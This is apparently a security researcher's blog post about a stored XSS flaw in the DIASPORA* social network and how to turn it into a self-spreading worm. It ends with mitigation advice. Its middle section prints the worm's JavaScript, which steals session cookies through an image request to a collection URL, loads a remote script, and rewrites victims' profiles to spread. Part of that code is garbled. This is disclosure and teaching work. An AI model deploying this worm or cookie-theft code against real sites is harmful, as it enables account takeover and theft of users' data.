Writing an XSS Worm



This was done while interning at Gotham Digital Science and the original blog post can be found here: http://blog.gdssecurity.com/labs/2013/5/8/writing-an-xss-worm.html

User privacy is an increasingly important part of the internet and the social network DIASPORA* prides itself upon the creed that users own the data that they publish on sites. In a modern world, security often takes precedence over belief. There’s absolutely no reason that a malicious attacker can’t take the data which DIASPORA* stores on their own servers and use it for whatever purposes they desire.

Multiple vulnerabilities including an XSS exploit manifest themselves in DIASPORA*, such that it was possible for any user to export any user’s profile data and potentially compromise every single DIASPORA* instance (or in DIASPORA* terminology, pod) running on the Internet.

To begin with the methodology for achieving this, first an initial exploit must be found as vulnerabilities are useless without a proper exploit. In the case of DIASPORA*, it is a Persistent Cross Site Scripting (XSS) vulnerability found in the user’s name as it is rendered un-encoded back on the the user’s profile (i.e. /u/user_name). DIASPORA* uses a set of JSON formatted attributes to create a navigation bar with user specific information such as name, id, and email.

 window.current_user_attributes = {
 "id": 3,
 "guid": "5a2d8a950e39165e",
 "name": "Kevin Chung",
 "diaspora_id": "superduper@localhost:3000",
 "avatar": {

Normal Profile Data

In searches, and the user’s public profile page their name is rendered back to other users un-encoded. This is our best medium for spreading our payload not counting sending out mass messages. In searches, the user must show up in the autocompleted form for it to be vulnerable. The full search page is not susceptible to this vulnerability.

DIASPORA* will do escaping of quotes and slashes, but it does not do any form of encoding for the name field. There is a size limit of 32 characters on each the first name and last name and the two are separated by a space in the script thus giving us 64 characters to work with. Knowing this, it is possible to change our first name to and our last name to alert(0) which would achieve the mostly boring, standard XSS testing payload. You’ll notice that the first name starts with a which closes out the original start tag and then begins its own script tag.

<script type="text/javascript">
    // <![CDATA[
    Mentions.options.prefillMention = Mentions._contactToMention({"
                id ": 3,"
                guid ": "927643f9c89784b1", "name ": "
                    // ]]>
</script>
<script type="text/javascript">
    // <![CDATA[
    alert(0)
        // ]]>
</script>", "avatar": "/assets/user/default.png", "handle": "jedi_guy@localhost:3000", "url": "/people/927643f9c89784b1" }); //]]>

Profile with XSS

Instead of just alerts, we can give ourselves a much larger space to work with by using <script src= as our first name and //goo.gl/AAAAA as our last name. The goo.gl URL should point to a JavaScript file of our choosing. Now that we are not limited by size, we can go ahead and begin propagating ourselves throughout the DIAPOSRA* pod. Fortunately, DIASPORA* leverages jQuery, so writing JavaScript will be much less verbose than it normally tends to be.

If we wish to be extremely destructive, we can simply do an AJAX GET and POST to have any user which gets hit with our payload becomes a propagator of the payload as well. We require the GET initially as DIASPORA* includes a nonce on the profile page in order to prevent Cross Site Request Forgery (CSRF) attacks and therefore our subsequent POST requires a valid nonce in order to be valid.

$('html').hide();

if (window.location.pathname == '/profile/edit') {
    window.location = "/404";
} else if (window.location.pathname.substr(1, 2) == 'u/' || window.location.pathname.substr(1, 6) == 'people') {
    var first = $('.find').prev().html();
    var second = $('.find').next().html();
    eval(first + "You're Owned" + second);
} else {
    var intervalID = setInterval(function() {
        var first = $('.find').prev().html();
        var second = $('.find').next().html();
        eval(first + "You're Owned" + second);
    }, 5);
}

$(document).ready(function() {
    window.clearInterval(intervalID);
    $('.message').hide();
    $('html').show();
    $(document.createElement('img')).attr({
        'src': 'http://localhost/diaspora.php?cookie=' + document.cookie
    });
});

deploy('//goo.gl/AT64G');

function deploy(payload) {
$.get('/profile/edit', function(data) {
    var first_name = $('#profile_first_name', data).val();
    var last_name = $('#profile_last_name', data).val();
    if (first_name == '<script class=""find"" type="text/javascript" src="') ">// <![CDATA[ < script class = "find"
    src = ", 'profile[last_name]': payload+" >
        // ]]></script><script type="text/javascript">// <![CDATA[
        ",
    'profile[tag_string]': ",
    'tags': tags,
    'file': ",
    'profile[bio]': bio,
    'profile[location]': loc,
    'profile[gender]': gen,
    'profile[date][year]': year,
    'profile[date][month]': month,
    'profile[date][day]': day,
    'profile[searchable]': 'true',
    'commit': 'Update Profile'
});
});
}
Exploit Code

Next it is important to determine what can be used to spread our payload. The most obvious is our profile which has our malicious name. We can also adapt our script to scrape contacts and send them messages asking them to visit our profile as how many XSS worms have propagated in the past. DIASPORA* makes an additional mistake in that the search autocomplete functionality will render names un-encoded to the user. Thus users who are not exactly connected to infected users can additionally be infected by searching and finding an infected user.

Now that we’ve begun spreading ourselves through DIASPORA* we could capitalize upon what we have accessible. DIASPORA* allows users to download their photos (though this appears broken https://github.com/diaspora/diaspora/issues/1802) and an XML file containing their data (posts, contacts, messages, profile information, and a GPG key pair). We can have the JavaScript send the user’s cookies to a server as DIASPORA* makes no use of the HttpOnly flag for their session cookie. If HttpOnly was enabled it wouldn’t really matter, as we could have the XSS payload pull the XML and POST it to our server instead of having the server get it.

In summary, we were able to utilize a variety of vulnerabilities in DIASPORA* to augment the main XSS payload and potentially acquire significant amounts of user data. As should be readily evident to any web developer, no user input should ever be trusted.

Unencoded user input is of course the root cause of this issue. Input validation, and input or output encoding should always be used in any scenario where user input is taken.

HttpOnly should be on all cookies not required to be accessed by JavaScript. This is not a cure all as it is still possible to submit queries through XSS riding on the valid session stored in the cookie without stealing it.

While typical nonce based CSRF is in place, XSS is able to bypass it easily. A CSRF referrer check should be put in place for the profile page as an attacker would not be in a valid position to spoof the referrer for another user but themselves. To clarify, profile edits should be validated to only come from /profile/edit and not from any other location on DIASPORA*. While XSS can typically be used to bypass CSRF referrer checks, in this scenario the attacker would not have control over the normal edit profile page as it would be on an uninfected user. This would have successfully prevented a spread of this XSS worm.